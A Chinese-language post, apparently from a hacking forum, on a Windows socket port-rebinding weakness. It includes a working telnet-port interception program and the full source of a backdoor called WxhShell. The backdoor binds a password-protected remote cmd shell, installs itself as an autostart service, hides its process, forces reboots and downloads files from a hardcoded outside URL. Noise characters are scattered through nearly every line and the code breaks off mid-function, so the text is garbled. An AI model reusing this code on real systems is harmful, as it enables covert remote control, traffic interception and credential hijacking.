在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
aj6{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
(IIOVv
1J yL%k5cO$N saddr.sin_family = AF_INET;
Z<~^(W7h [.*o<
KP saddr.sin_addr.s_addr = htonl(INADDR_ANY);
%
ovk}}%; K0\Wty0 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
VkDFR
[k_ n$YCIW)0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
u9^R
?y <B=!ZC=n 这意味着什么?意味着可以进行如下的攻击:
Q=cbHDB :>GT<PPD; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^p !4`S `@r#o& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
H=k`7YN C%+>uzVIw 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
DU:
sQS4 ky5 gU[ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
OJ\rT.{ QWWoj[d# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Y2Y!^A89 t?j2Rw3f`I 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
gDJ@s
)gAFz+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
*cn#W]AE \ml6B6 #include
r
,,A% #include
5"JnJH #include
I NE,/a= #include
I#tEDeF2 DWORD WINAPI ClientThread(LPVOID lpParam);
XT5Vo int main()
tFd^5A* {
!%2aw0Yv WORD wVersionRequested;
@9rmm)TZ DWORD ret;
xR,;^R|C WSADATA wsaData;
K{00 V# BOOL val;
?ixzlDto\ SOCKADDR_IN saddr;
Z0 e+CEzq SOCKADDR_IN scaddr;
8c'0"G@S int err;
3*gWcPGe SOCKET s;
q61
rNOw_ SOCKET sc;
D{,B[5 int caddsize;
=c8U:\0 HANDLE mt;
V8xv@G{; DWORD tid;
&xqe8!FeA wVersionRequested = MAKEWORD( 2, 2 );
VrokEK*qbY err = WSAStartup( wVersionRequested, &wsaData );
B|O/h!H. if ( err != 0 ) {
V6d*O`
printf("error!WSAStartup failed!\n");
A{E0 a:v return -1;
EtH)E) }
j1>77C3 saddr.sin_family = AF_INET;
'}5}wCLA vAJfMUlP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
AMYoSc 9&W\BQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
^tuJM: saddr.sin_port = htons(23);
g-% uw[pf if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*qG=p` {
r DY q]` printf("error!socket failed!\n");
7@Di nA! return -1;
)M]4p6Y }
$}k"wI[ val = TRUE;
|U^
ff^] //SO_REUSEADDR选项就是可以实现端口重绑定的
+X;6%O; if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
,h]N*Z-I" {
(U`7[F printf("error!setsockopt failed!\n");
9~,eu return -1;
}M| }
uB,B%XHj //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
(p14{ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
FZA8@J|Q4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
@;<w"j`r 66'TdF]" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{=g-zsc]K {
O:7y-r0i ret=GetLastError();
rP`\<}a. printf("error!bind failed!\n");
x\Sp~]o3C return -1;
C
[2tH2*# }
Vn/6D[}Tu listen(s,2);
Gs?W7}<$ while(1)
*qb`wg {
82)d.> caddsize = sizeof(scaddr);
1| gP
:t} //接受连接请求
syZ-xE]} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
^m1Rw| if(sc!=INVALID_SOCKET)
FxZ\)Y {
Z@ws,f^e mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Pm?6]] 7 if(mt==NULL)
n1ED _9 {
&6\rKOsn printf("Thread Creat Failed!\n");
Ew:JpMR break;
[
objdQU` }
>leOyBEAR }
,OasT!Sr CloseHandle(mt);
H7SqM D*y9 }
Xj-3C[8@ closesocket(s);
C3_*o>8 WSACleanup();
+bO{UC[ return 0;
T]vD ,I+ }
z{n=G DWORD WINAPI ClientThread(LPVOID lpParam)
./g0T{& {
-%N (X8 SOCKET ss = (SOCKET)lpParam;
R*[ACpxr SOCKET sc;
-xcz+pHQ unsigned char buf[4096];
e.jgV=dT- SOCKADDR_IN saddr;
m|7g{vHVV long num;
k{bba=< DWORD val;
p5H Mg\hT DWORD ret;
c"z%AzUV' //如果是隐藏端口应用的话,可以在此处加一些判断
JV/,QWar //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
T5Fah#-4 saddr.sin_family = AF_INET;
7 Ow7| saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
QAJ>93 saddr.sin_port = htons(23);
[)Ge^yI7 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
YW}/C wB {
foFn`?LF printf("error!socket failed!\n");
g/@C ESfm' return -1;
evs2dz<eA }
k@Tt,.]; val = 100;
ZV U9 t if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m,KY_1%M {
_YJw F1e+M ret = GetLastError();
wTW"1M return -1;
Kq?7#,_ }
aj,ZM,Ad if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)6j:Mbz {
/{U{smtdFl ret = GetLastError();
=,'Z6?%p
return -1;
4(&'V+o }
qa~[fORO[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
yS43>UK_W+ {
1=X=jPwO C printf("error!socket connect failed!\n");
xki"' closesocket(sc);
%;5hHRA closesocket(ss);
c5;ROnTm return -1;
\\qg2yI }
p\WUk@4 while(1)
?MYD}`Cv {
Dpd$&Wr0Y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
8if"U xV( //如果是嗅探内容的话,可以再此处进行内容分析和记录
O, {
( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
x\DkS,O num = recv(ss,buf,4096,0);
m&q;.|W if(num>0)
#dft-23 send(sc,buf,num,0);
wj^I1;lO else if(num==0)
hLvv:C@ break;
=/;_7|ssd num = recv(sc,buf,4096,0);
a)1,/:7' if(num>0)
AE711l- send(ss,buf,num,0);
-?RQ%Ue else if(num==0)
+7^Ul6BB#K break;
Em,!=v(* }
o^?{j*)g closesocket(ss);
,&=`T7i closesocket(sc);
a{+oN
$ return 0 ;
eFQi
K6`i }
]S L&x:/- VO Qt{v{1| /aqN` ==========================================================
DBUwf1=qj L\ %_<2 下边附上一个代码,,WXhSHELL
IdxTo Mr }dUC^04 ==========================================================
w8
$Qh%J'< 6bcrPf} #include "stdafx.h"
d_uy;-3 Lf#G?]@ #include <stdio.h>
[bG>qe1}& #include <string.h>
kZ9<j+. #include <windows.h>
~8(X@~Tn* #include <winsock2.h>
^-u HdafP #include <winsvc.h>
#sU~fq #include <urlmon.h>
V|\A? C|\^uR0 #pragma comment (lib, "Ws2_32.lib")
ib\[ ~rg #pragma comment (lib, "urlmon.lib")
hPz
df*(8 4i/q^;` #define MAX_USER 100 // 最大客户端连接数
]7kGHIJ| #define BUF_SOCK 200 // sock buffer
{@5WeWlz~ #define KEY_BUFF 255 // 输入 buffer
]B3FTqR{i Rr 4CcM #define REBOOT 0 // 重启
q7&yb.<KD. #define SHUTDOWN 1 // 关机
$|(|Qzi% lE)rRG+JLW #define DEF_PORT 5000 // 监听端口
xH_ie 4 Qel; #define REG_LEN 16 // 注册表键长度
_qt;{,t #define SVC_LEN 80 // NT服务名长度
^HFU@/ |Xm4(FN\ // 从dll定义API
&8+6!TN7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
R}w wC[{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Kn#xY3W6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#IaBl?}r^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
o+-Ge
J u45h{i-e // wxhshell配置信息
h:jI struct WSCFG {
SKSAriS~ int ws_port; // 监听端口
5Vnr"d char ws_passstr[REG_LEN]; // 口令
9U9c"'g int ws_autoins; // 安装标记, 1=yes 0=no
9Ir~X|}\iL char ws_regname[REG_LEN]; // 注册表键名
_jrA?pY char ws_svcname[REG_LEN]; // 服务名
KPjqw{gR_R char ws_svcdisp[SVC_LEN]; // 服务显示名
df4^C->: char ws_svcdesc[SVC_LEN]; // 服务描述信息
3TiXYH char ws_passmsg[SVC_LEN]; // 密码输入提示信息
k]$E8[.t int ws_downexe; // 下载执行标记, 1=yes 0=no
2x`xyR_Q.R char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
%*5g<5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
?X_0Iy}1 I"cQ5gF?A };
Iz?Wtm } ;8L+_YCa // default Wxhshell configuration
Gp ^ owr struct WSCFG wscfg={DEF_PORT,
Tc3ih~LvG "xuhuanlingzhe",
m{lRFKx>s 1,
fb0T/JTw "Wxhshell",
Ife,h
s "Wxhshell",
Sa[EnC "WxhShell Service",
8g#
Y "Wrsky Windows CmdShell Service",
cB|Cy{% "Please Input Your Password: ",
o
>Rw}R 1,
;ad9{":J#B "
http://www.wrsky.com/wxhshell.exe",
XU;{28P "Wxhshell.exe"
f^6&Fb> };
]*g ss'N ^b"x|8 // 消息定义模块
lk*0c{_L char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'#McY'.D T char *msg_ws_prompt="\n\r? for help\n\r#>";
f>s#Ngvc char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
6zp@#vYI char *msg_ws_ext="\n\rExit.";
2pxWv
)0 char *msg_ws_end="\n\rQuit.";
ui.QYAYaV char *msg_ws_boot="\n\rReboot...";
l${Hgn+ char *msg_ws_poff="\n\rShutdown...";
,<;l"v( char *msg_ws_down="\n\rSave to ";
=0PNHO\gl PUQ_w char *msg_ws_err="\n\rErr!";
(b`4&sQ< char *msg_ws_ok="\n\rOK!";
{p#l!P/ Ersr\ZB char ExeFile[MAX_PATH];
-~(0O int nUser = 0;
m0%iw1OsH% HANDLE handles[MAX_USER];
x%IXwP0 int OsIsNt;
@o4z3Q@ Y'<uZl^aX SERVICE_STATUS serviceStatus;
}{#;;5KrB SERVICE_STATUS_HANDLE hServiceStatusHandle;
pjX%LsX\ i_[
HcgT- // 函数声明
3ZW/$KP/ int Install(void);
A=v lC?&Z int Uninstall(void);
DGa#d_I int DownloadFile(char *sURL, SOCKET wsh);
@b::6n/u int Boot(int flag);
"%.|n| void HideProc(void);
a!c/5)v( int GetOsVer(void);
IKMsY5i int Wxhshell(SOCKET wsl);
@MN}^umx` void TalkWithClient(void *cs);
#[k~RYS3 int CmdShell(SOCKET sock);
vI
pO/m.3 int StartFromService(void);
8Z9MD<RLw int StartWxhshell(LPSTR lpCmdLine);
u|_LR5S!j VL_)]LR*) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
x"(7t3xK VOID WINAPI NTServiceHandler( DWORD fdwControl );
D_l/Gxdpr 8Ehy9< // 数据结构和表定义
<_BqpZ^` SERVICE_TABLE_ENTRY DispatchTable[] =
K:>NGGY8r {
(ZE%tbm2 {wscfg.ws_svcname, NTServiceMain},
jsk:fh0~M {NULL, NULL}
.x)>f };
oJlN.Q#u& qO:U]\P // 自我安装
T!m42EvIvE int Install(void)
jGk7=}nw {
[5]R?bQ0q{ char svExeFile[MAX_PATH];
;eS;AHZ HKEY key;
~u_K&X strcpy(svExeFile,ExeFile);
g)=V#Bglv $Qn&jI38 // 如果是win9x系统,修改注册表设为自启动
3gxf~$)? if(!OsIsNt) {
q6;OS.f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
E0sbU<11 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i:l80 GK RegCloseKey(key);
+ 6x"trC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
oS[W*\7'! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
pu\b`3C( RegCloseKey(key);
Q;XXgX#l return 0;
Am2*- }
O"@?U }
&tlR~?$e* }
21.YO]Et else {
`^O'V}T f?2zLE>u // 如果是NT以上系统,安装为系统服务
3cmbK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
"F&Tnhh4 if (schSCManager!=0)
zSEr4^Dk4 {
bZxv/\ SC_HANDLE schService = CreateService
5/Ydv
RB67 (
*
zd. schSCManager,
{&u Rd?( wscfg.ws_svcname,
?2H{^\<(e wscfg.ws_svcdisp,
V%i<;C SERVICE_ALL_ACCESS,
}j&O/Up SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
#uQrJh1o8 SERVICE_AUTO_START,
Xyb8u})p' SERVICE_ERROR_NORMAL,
^/G?QR svExeFile,
Us1@\|] NULL,
`2pO5B50 NULL,
aLV~|$:2 NULL,
g* %bzfk=| NULL,
wh9L(0 NULL
O:2 #_ );
0rV/qMo;K if (schService!=0)
uRP
Ff77 {
P~&O4['< CloseServiceHandle(schService);
t9ER;.e CloseServiceHandle(schSCManager);
3QH(4N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
}K?F7cD strcat(svExeFile,wscfg.ws_svcname);
A8J?A#R*{q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Mk<m6E$L RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
KUbJe)}g RegCloseKey(key);
$,!hD\a return 0;
S<*' ;{5~ }
6s'[{Ov }
Bhj:9%` CloseServiceHandle(schSCManager);
9 _eS`,' }
V!mWn|lf }
*`%4loW /({P1ti:C return 1;
-P2 @mx% }
.a {QA g/x_m. // 自我卸载
*}7U`Aa int Uninstall(void)
!`Le`c {
%t q& HKEY key;
+9TV:T >;m{{nj if(!OsIsNt) {
_'&k#Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ej<`CQ RegDeleteValue(key,wscfg.ws_regname);
2f `&WUe RegCloseKey(key);
)TM!ms+K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R \ia6 RegDeleteValue(key,wscfg.ws_regname);
@$Yb#$/ RegCloseKey(key);
{QMN=O&n return 0;
1PmX."a }
%
^e@`0L }
KLW&bJ$|j }
_g65pxt =Z else {
ssPI$IRg! hc"6u\> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
v3~FR,Kl if (schSCManager!=0)
z1#oWf{* {
C[R`Ml SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5 1"8Py if (schService!=0)
l`* ( f9Q {
M= atls if(DeleteService(schService)!=0) {
sx:Hv1d CloseServiceHandle(schService);
|J\,F.{' CloseServiceHandle(schSCManager);
O hi D return 0;
db'K!M) }
;|;iCaD a+ CloseServiceHandle(schService);
moaodmt]x }
?@>;/@ CloseServiceHandle(schSCManager);
;sCU[4 }
oikxg!0S }
B O]=vH [#>{4qY2 return 1;
JS PW>W" }
.8:+MW/ 22|"K**3J| // 从指定url下载文件
XO%~6Us^ int DownloadFile(char *sURL, SOCKET wsh)
B 2Qp} {
g1ytT%] HRESULT hr;
!D7"=G}HD char seps[]= "/";
fQP,= char *token;
qv$!\ T char *file;
yZ5x88 > char myURL[MAX_PATH];
6Etss!_ char myFILE[MAX_PATH];
l0. FiO@_Q -w\M-wc/$ strcpy(myURL,sURL);
P,U$ %C! token=strtok(myURL,seps);
m9woredS, while(token!=NULL)
e$32 {
Hv8H.^D> file=token;
j3{HkcjJG token=strtok(NULL,seps);
`\ R{5TU }
(![t_r0 +2Z#M GetCurrentDirectory(MAX_PATH,myFILE);
A=y"x$%-_ strcat(myFILE, "\\");
C 0>=x{,v strcat(myFILE, file);
gvGi%gq send(wsh,myFILE,strlen(myFILE),0);
|Q5+l.% send(wsh,"...",3,0);
M!#AfIyB hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
M7vj^mt? if(hr==S_OK)
bNXAU\M^ return 0;
yhwy>12,K else
|AC6sfA+ return 1;
nEyIt&>9 `R0Y+#$8h }
V~[:*WOX {"jd_b& // 系统电源模块
-%H%m`wD int Boot(int flag)
gB >pd?d {
D^|7#b,zcH HANDLE hToken;
JjQVzkE TOKEN_PRIVILEGES tkp;
;y OD AEqq1A if(OsIsNt) {
c.0]1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
l])Q.m LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Zih ?Bm tkp.PrivilegeCount = 1;
[;FofuZ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
,Bf(r AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
"wINBya'M if(flag==REBOOT) {
LipxAE?O if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
jtCZfFD? return 0;
`|?]CkP }
8YKQItK else {
)
$#(ZL^m if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
r0{]5JZt/ return 0;
f?maa5S }
v?)SA]; }
dyO E6Ex else {
N~| t!G*9 if(flag==REBOOT) {
.8(%4ejJ( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Yf=FeH7" return 0;
-TS?
fne) }
hfv%,,e else {
@[v8}D if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
c{VJ2NQ+ return 0;
6v>z h }
)*D'csGc }
L
{qJ-ln: {g_@Tuu return 1;
+$,dwyI2t }
B6%&gXr\
w~LU\Ct // win9x进程隐藏模块
bjzx!OCpV void HideProc(void)
qd8pF!u|# {
*/_@a? {i;6vRr HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
?bI?GvSh if ( hKernel != NULL )
Y 1y E {
+*.1}r& pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
e8q4O|I_ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
kFwxK"n@C FreeLibrary(hKernel);
t3>$|}O]t }
P^zy; Qs7 R@n5AN( return;
DxfMqH[vs }
-)RJ\V^{9 De]^&qw( // 获取操作系统版本
PpFsp( )x int GetOsVer(void)
WjOH/$( {
<\ETPL,< OSVERSIONINFO winfo;
[+Un ^gD winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
oyW00]ka GetVersionEx(&winfo);
Abf1"#YImy if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
L|J~9FM return 1;
T V;BNCg else
MA6P"? return 0;
[+gzdLad }
5~U:@Tp ev"M;"y // 客户端句柄模块
bKUyBk,\# int Wxhshell(SOCKET wsl)
,R~eY?{a {
<jFSj=cIL SOCKET wsh;
BSDk9Oc struct sockaddr_in client;
w[sR7T9* DWORD myID;
ytz8=\p_b $T/#1w P while(nUser<MAX_USER)
}4vjKSV {
#>bT< int nSize=sizeof(client);
3agNB F2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
`p1DaV if(wsh==INVALID_SOCKET) return 1;
+V1}@6k
: n^Vxi;F handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!qw4mN if(handles[nUser]==0)
6RP+4c closesocket(wsh);
`j:M)2:*y else
0I^Eo| nUser++;
I%i:)6Un-y }
3Ta>Ki WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
gQR1$n0
0Ve%.k return 0;
XNlhu^jh }
6F-JK1i 17i$8 // 关闭 socket
~<eVl
l= void CloseIt(SOCKET wsh)
G
*@@K {
P}l#VJWp closesocket(wsh);
iD`k"\>9 nUser--;
^9'$Oa,* ExitThread(0);
]v GgJ< }
>fbo
r'| gLx/w\l6 // 客户端请求句柄
yLB~P7K void TalkWithClient(void *cs)
YLmjEs% {
RpAiU | lE-&a$xd SOCKET wsh=(SOCKET)cs;
FT4l$g7" char pwd[SVC_LEN];
K
plM['uF char cmd[KEY_BUFF];
E\iJP^n char chr[1];
]< +3Vw int i,j;
9N1#V
K .?Auh2nr while (nUser < MAX_USER) {
9#fp_G;= dr{1CP if(wscfg.ws_passstr) {
#!L%J<MX if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
lvx]jd\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%Gu][_.L //ZeroMemory(pwd,KEY_BUFF);
W\NG>t i=0;
-)6;0 while(i<SVC_LEN) {
,S0UY):( A Zd+> // 设置超时
:t%)5:@A fd_set FdRead;
1I
b_Kmb- struct timeval TimeOut;
p>&S7M/9 FD_ZERO(&FdRead);
m\ ?\6Wk FD_SET(wsh,&FdRead);
?^F5(B[+Y TimeOut.tv_sec=8;
>"b[r TimeOut.tv_usec=0;
qy6K,/&3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
*V -ds8AQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
5v+L';wx[T ([tG y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
s{B_N/^ pwd
=chr[0]; ", QPb3
if(chr[0]==0xd || chr[0]==0xa) { xRB7lV*
pwd=0; fQ1 0O(`g,
break; +xq=<jy
}
2n(ItA
i++; G\):2Qz!|
} ;&q]X]bJ
0NrTJ R`
// 如果是非法用户,关闭 socket 6$DG.p
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .c03}RTC^
} w0X$rl1
Q<C@KBiVE
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rX:1_q`xA
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OSj%1KL
1MpX] j8C#
while(1) { a 1NCVZ
/XN*)m
ZeroMemory(cmd,KEY_BUFF); =:;YTie
-C=]n<ak
// 自动支持客户端 telnet标准 Z+Xc1W^
j=0; ^h`!f vyH
while(j<KEY_BUFF) { 7pd$?=__I
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "`[ $&:~
cmd[j]=chr[0]; ~%/'0}F
if(chr[0]==0xa || chr[0]==0xd) { &`m~o/
cmd[j]=0; C_C$5[~-:
break; -;f+;
M
} #c:9V2
j++; )S#j.8P'B
} SK}HXG{?
%@o&*pF^,
// 下载文件 z(#=tC|
if(strstr(cmd,"http://")) { /m;O;2"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0:s8o@}
if(DownloadFile(cmd,wsh)) cK/PQsMP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qf"6PJ
else n|J.)E.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cj`#Tg.
} F>TYVxQ
else { #%;<FFu\
dy'X<o^?W
switch(cmd[0]) { UP5%C;
p_A5C?&
// 帮助 tnA_!$Y
a
case '?': { 1k*n1t):
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~>.awu+o|
break; fp,1qzU[k
} dE+CIjW5
// 安装 _, 11EeW@
case 'i': { M^Q&A R'F
if(Install()) @"jmI&hYn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dCW0^k
else k\Yu5)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WNCM|VUl
break; InAU\! ew
} O_qu;Dx!
// 卸载 i0i.sizu
case 'r': { *Pa2bY3:
if(Uninstall()) #rqyy0k0'h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -lnTYxo+]^
else !E4E' I=]N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); de*,MkZN
break; `;zu1o
} wjN`EF5$}&
// 显示 wxhshell 所在路径 2<p5_4"-U*
case 'p': { *>?):-9"6N
char svExeFile[MAX_PATH]; zpBBnlq
strcpy(svExeFile,"\n\r"); <K|3Q'(S
strcat(svExeFile,ExeFile); >DSNKU+j
send(wsh,svExeFile,strlen(svExeFile),0); #fJ/KYJU
break; dj8F6\
} DQL06`pX/
// 重启 p,M3#^ q
case 'b': { 7I @9v=xV
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g~bf!
if(Boot(REBOOT)) HV#?6,U}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 03i?"MvNo
else { (cPeee%Q
closesocket(wsh); _OyP>|L'
ExitThread(0); 3fbD"gL
} 9Bbm7Gd
break; 1t~S3Q||>]
} w>/pQ6=OFR
// 关机 ,qBnqi[
case 'd': { QZ:]8MHl]
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )<H
91:.
if(Boot(SHUTDOWN)) "-~D!{rS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1@1+4P0NF[
else { #*ZnA,
closesocket(wsh); GlV-}5W
ExitThread(0); /
y":/"h
} ,=q7}5o Y
break; N9>'/jgZX
} 'Wx\"]:
// 获取shell >8F{lbEe
case 's': { Os]!B2j14
CmdShell(wsh); `E4!u=%
closesocket(wsh); eEg1-
ExitThread(0); IV
3@6t4k
break; &K}(A{
} 0k]ju
// 退出 V5(tf'
case 'x': { 3^iQe"P%a@
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2yCd:wg
CloseIt(wsh); "p6:ekw
break; /v|68x6
} 8KGv?^M
6W
// 离开 Ztpm_P6
case 'q': { 9$4/frd
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hc_hO
closesocket(wsh); edImrm1f
WSACleanup(); B'lxlYV1
exit(1); c}I8!*\
break; %gne%9nn
} C^8)IN=$
} wr;|\<c
} 1>*UbV<R;u
LK-K_!F
// 提示信息 A aF5`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sgb+@&}9n
} 1X!f!0=g+
} w'zO(6 `
+(h6{e%)
return; bTy'5"
} :.'T+LI
61Iy{-/ZV
// shell模块句柄 ~jRk10T(B
int CmdShell(SOCKET sock) mSfkyw.
{ zN8V~M;
STARTUPINFO si; ~"<VUJ=Ly:
ZeroMemory(&si,sizeof(si)); (k)gZD9~{?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )(|0KarF
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *l'$pJ X
PROCESS_INFORMATION ProcessInfo; JXy667_
char cmdline[]="cmd"; @,>=X:7
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xw}Y!;<IEu
return 0; R82Zr@_
} @ !O&b%8X%
V]S06>P
// 自身启动模式 >"$-V Y6 i
int StartFromService(void) !k??Kj
{ 5P t}
typedef struct YQ8x6AJ
{ ;x0 KaFk
DWORD ExitStatus; U=cWvr65
